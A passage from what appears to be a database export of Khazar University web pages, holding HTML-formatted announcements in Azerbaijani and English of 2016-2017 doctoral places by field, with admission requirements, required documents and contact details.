width:85.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\"><strong>5</strong></p>\r\n  </td>\r\n  <td width=\"381\" style=\"\" width:285.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Neft və qaz\r\n  yataqlarının geologiyası, axtarışı və kəşfiyyatı –2521.01</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\"><strong>6</strong></p>\r\n  </td>\r\n  <td width=\"381\" style=\"\" width:285.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Neft və qaz\r\n  yataqlarının işlənməsi və istismarı –2525.01</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">2</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\"><strong>7</strong></p>\r\n  </td>\r\n  <td width=\"381\" style=\"\" width:285.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Ümumi\r\n  iqtisadiyyat –5308.01</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\"><strong>8</strong></p>\r\n  </td>\r\n  <td width=\"381\" style=\"\" width:285.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Dünya iqtisadiyyatı\r\n  –5310.01</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\"><strong>9</strong></p>\r\n  </td>\r\n  <td width=\"381\" style=\"\" width:285.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Müəssisələrin\r\n  təşkili və idarə olunması –5311.01</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\"><strong>10</strong></p>\r\n  </td>\r\n  <td width=\"381\" style=\"\" width:285.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Daxili\r\n  fiskal siyasət və dövlət maliyyəsi –5301.01</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\"><strong>11</strong></p>\r\n  </td>\r\n  <td width=\"381\" style=\"\" width:285.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">German dilləri\r\n  –5708.01</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">2</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\"><strong>12</strong></p>\r\n  </td>\r\n  <td width=\"381\" style=\"\" width:285.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Azərbaycan ədəbiyyatı\r\n  –5716.01</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\"><strong>13</strong></p>\r\n  </td>\r\n  <td width=\"381\" style=\"\" width:285.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Təhsilin təşkili\r\n  və planlaşdırılması –5802.01</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">2</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\"><strong>14</strong></p>\r\n  </td>\r\n  <td width=\"381\" style=\"\" width:285.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Ümumi\r\n  pedaqogika, pedaqogikanın və təhsilin tarixi –5804.01</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\"><strong>15</strong></p>\r\n  </td>\r\n  <td width=\"381\" style=\"\" width:285.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Beynəlxalq\r\n  münasibətlər –5901.01</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\"><strong>16</strong></p>\r\n  </td>\r\n  <td width=\"381\" style=\"\" width:285.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Sosial fəlsəfə\r\n  –7202.01</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n</tbody></table>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Fəlsəfə\r\ndoktoru proqramı üzrə doktoranturada əyani təhsil müddəti 3 il, dissertantura\r\nüzrə təhsil müddəti isə 4 ildir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><strong>Fəlsəfə doktoru hazırlığı:</strong><strong></strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">1.\r\nFəlsəfə doktoru proqramı üzrə elan olunmuş doktorantura və dissertantura\r\nyerlərinə ali təhsili olan (ali təhsil pilləsinin magistratura səviyyəsini\r\nbitirən, yaxud təhsili ona bərabər tutu­lan) Azərbaycan Respublikasının\r\nvətəndaşları müsabiqə əsasında qəbul olunurlar.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">2.\r\nDoktoranturanın (keçmiş aspiranturanın) tam kursunu bitirən şəxs eyni ixti­sas\r\nüzrə təkrarən doktorantu­raya qəbul oluna bilməz.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><strong>Fəlsəfə doktoru hazırlığı üzrə doktoranturaya və\r\ndissertanturaya qəbul olunmaq üçün tələb olunan sənədlər:</strong><strong></strong></p>\r\n<br><ul><li>ərizə\r\n(doktoranturanın fəaliy­yət göstərdiyi müəssisənin və yaxud təşkilatın\r\nrəhbərinin adı­na);</li><li>kadrların şəxsi-qeydiyyat vərəqi;</li><li>tərcümeyi-hal;</li><li>2 ədəd\r\nfotoşəkil (3x4 sm ölçüdə);</li><li>iş\r\nyerindən xasiyyətnamə;</li><li>iş\r\nstajı olanlar üçün əmək kitabçasından çıxarış;</li><li> çap\r\nolunmuş elmi işlərin siyahısı <strong>və ya</strong>\r\nseçilmiş ixtisas üzrə referat;</li><li>ali\r\ntəhsil müəssisəsini bitirmək haqqında diplomun müvafiq qaydada təsdiq edilmiş\r\nsurəti (xarici ölkələrdə təhsil almış Azərbaycan Respublikasının vətəndaşları\r\nüçün&nbsp;təhsil haqqında sənədlərin tanınması haqqında şəhadətnamə);</li><li> şəxsiyyəti təsdiq edən sənədin surəti.</li></ul><br>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">Müraciət\r\netmək istəyənlər sənədlərini Xəzər Universiteti Magistratura, Doktorantura və\r\nElmi İşlər bölməsinə (412-ci otaq) şəxsən təqdim edə bilərlər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><strong>Əlaqə: E-mail: </strong><a href=\"mailto:eshahgaldiyev@khazar.org\"><strong>eshahgaldiyev@khazar.org</strong></a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"mailto:lsalayeva@khazar.org\"><strong>lsalayeva@khazar.org</strong></a>&nbsp;&nbsp;&nbsp; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:49.5pt;line-height:normal\"\"=\"\"><strong>Tel: (+99412) 498-93-79; (+99412) 408-81-34; Mobil: (+99450) 518-81-34;</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:49.5pt;line-height:normal\"\"=\"\"><strong>Faks: (+99412) 498-93-79.</strong></p>'),(2698,1615,'en','Khazar University announces acceptance of documents for full time and part time (paid) PhD students for 2016-2017, according to the fields listed below','Khazar University announces acceptance of documents for full time and part time (paid) PhD students for 2016-2017, according to the fields listed below...','<p><strong><br></strong></p>\r\n<table cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td width=\"51\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>№</strong></p>\r\n  </td>\r\n  <td width=\"417\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>Fields of\r\n  Study</strong></p>\r\n  </td>\r\n  <td width=\"97\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>Full time PhD </strong></p>\r\n  </td>\r\n  <td width=\"94\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>Part time\r\n  researcher</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>1</strong></p>\r\n  </td>\r\n  <td width=\"417\" style=\"\" width:312.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Analysis\r\n  and Functional analysis-1202.01</p>\r\n  </td>\r\n  <td width=\"97\" style=\"\" width:72.55pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"94\" style=\"\" width:70.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>2</strong></p>\r\n  </td>\r\n  <td width=\"417\" style=\"\" width:312.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Computer\r\n  sciences-1203.01</p>\r\n  </td>\r\n  <td width=\"97\" style=\"\" width:72.55pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n  <td width=\"94\" style=\"\" width:70.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n  <td width=\"417\" style=\"\" width:312.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Biochemistry-2426.02</p>\r\n  </td>\r\n  <td width=\"97\" style=\"\" width:72.55pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"94\" style=\"\" width:70.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>4</strong></p>\r\n  </td>\r\n  <td width=\"417\" style=\"\" width:312.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Immunology-2412.01</p>\r\n  </td>\r\n  <td width=\"97\" style=\"\" width:72.55pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"94\" style=\"\" width:70.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\" colspan=\"2\">\r\n  <p style=\"\" 